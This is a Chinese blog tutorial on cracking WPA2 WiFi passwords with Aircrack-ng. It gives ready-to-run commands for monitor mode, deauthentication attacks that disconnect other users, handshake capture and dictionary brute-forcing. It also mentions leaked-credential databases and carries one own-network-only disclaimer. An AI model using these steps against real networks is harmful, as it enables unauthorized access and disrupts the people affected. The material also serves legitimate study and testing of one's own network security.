最近更新于 2024-05-05 12:32
测试环境
Ubuntu 20.04(物理机)
Aircrack-ng 1.6
# 安装
sudo apt update
sudo apt install -y aircrack-ng
如果是使用的笔记本电脑内置网卡(我就是),那么虚拟机内部是无法直接调用这个网卡的,也就是虚拟机不可行,必须物理机(Windows + Ubuntu 双系统参考:https://blog.iyatt.com/?p=10652 )。如果是使用的 USB 网卡,则是要注意是否支持 Linux 使用,有些只是 Windows 免驱,如果支持 Linux 使用,就可以把网卡挂载进虚拟机。
注
不可在未经允许的情况下爆破他人的 WiFi,可用自己的 WiFi 测试。
该方案的原理:先开启监测目标 WiFi,同时对目标 WiFi 发起攻击,使正常连接该 WiFi 的设备断线,断线设备会尝试重新连接 WiFi,此时会发送包含加密密码的握手包,然后将发送的握手包抓取到,再用字典中的密码挨个按照相同加密方式去匹配抓到的握手包。最后能不能成功还是依赖于字典,如果 WiFi 密码在字典中存在那就一定能匹配到,不存在那就没戏了。
操作演示
查看可用的无线网卡
sudo airmon-ng
将网卡开启监听模式(已连接的 WiFi 会断开,设置里 WiFi 连接功能也会消失,关闭监听恢复正常,见最后操作)
sudo airmon-ng start <网卡名称>
# 比如
sudo airmon-ng start wlp0s20f3
开启监听后再次查看网卡名称
sudo airmon-ng
扫描附近的无线网络,这个扫描会一直不停的刷新,找到要爆破的 WiFi 后按 Ctrl + C 停止扫描
sudo airodump-ng <处于监听模式的无线网卡名称>
# 比如
sudo airodump-ng wlp0s20f3mon
# 上面命令默认是扫描 2.4 GHz 频段的,如果网卡支持 5GHz 频段且要扫描 5GHz 频段的 WiFi,那么可以使用下面命令指定扫描的频率范围
sudo airodump-ng -C 5150-5850 <处于监听模式的无线网卡名称>
图中选中的就是这里要示范用的 WiFI
BSSID: 无线 AP 的硬件地址
PWR: 信号强度,值是负数,绝对值越小表示信号越强
CH: 无线网络信道
ENC: 加密方式,我们要破解的是 WPA2
ESSID: 无线网络的名称
STATION: 用户设备的硬件地址
然后通过上面扫描到的 WiFI 参数进行过滤,确定扫描目标,这个要保持扫描状态
sudo airodump-ng -w <扫描结果保存的文件名> -c <无线网络信道> --bssid <目标无线 AP 的硬件地址> <处于监听模式的网卡名称>
# 比如
sudo airodump-ng -w wifi -c 1 --bssid 9C:A6:15:BC:98:19 wlp0s20f3mon
另外打开一个终端对目标的 WiFi 发起攻击
sudo aireplay-ng -<攻击模式> <攻击次数> -a 无线 AP 硬件地址> -c <用户设备硬件地址> <处于监听模式的网卡名称>
# 比如
sudo aireplay-ng -0 0 -a 9C:A6:15:BC:98:19 wlp0s20f3mon
这个发起攻击的目的就是干扰目标 WiFi,致使连接该 WiFi 的他人设备断开,出现断开的设备就会尝试重新连接,此时前面保持扫描的程序就能抓取到握手包。看到第一行末尾出现 [ WPA handshake:
就代表抓到了握手包。
可以看到扫描结果生成的文件(命名的 wifi 开头的文件,.cap
文件下一步就要用)
然后就可以开始暴力破解了,密码字典获取:https://github.com/IYATT-yx/WiFi-Password-Dictionary
sudo aircrack-ng -w 密码字典 <包含握手包的 cap 文件>
# 比如
sudo aircrack-ng -w password/默认常用字典.txt wifi-01.cap
如果匹配到密码就会显示 KEY FOUND!
后面跟上密码内容,这个方法速度比尝试连接 WiFi 快了很多个数量级,但是能不能找到密码就和字典有关了。
如果上面我给的密码字典(一般弱密码)都没匹配到,那基本希望很渺茫了。比如这个是我自己生成的 9 位纯数字密码字典,就有 9.3 GB,爆破预计时间都两天多,还不一定成功,而且全程 CPU 所有核心满载。一般设置密码复杂点的都至少是小写字母+数字,而且密码要求至少 8 位数,这个字典生成出来都是二十几 TB了,就算有足够的硬盘存储,还得有强大的算力,不然得猴年马月了,有这条件是纯属好玩来爆破WiFi的吗?要么有社工库的话可能会有更大的概率,一般人设置密码可能就那几个。
在最后关闭监听功能,WiFi 连接才能正常使用
sudo airmon-ng stop <处于监听模式的无线网卡名称>
# 比如
sudo airmon-ng stop wlp0s20f3mon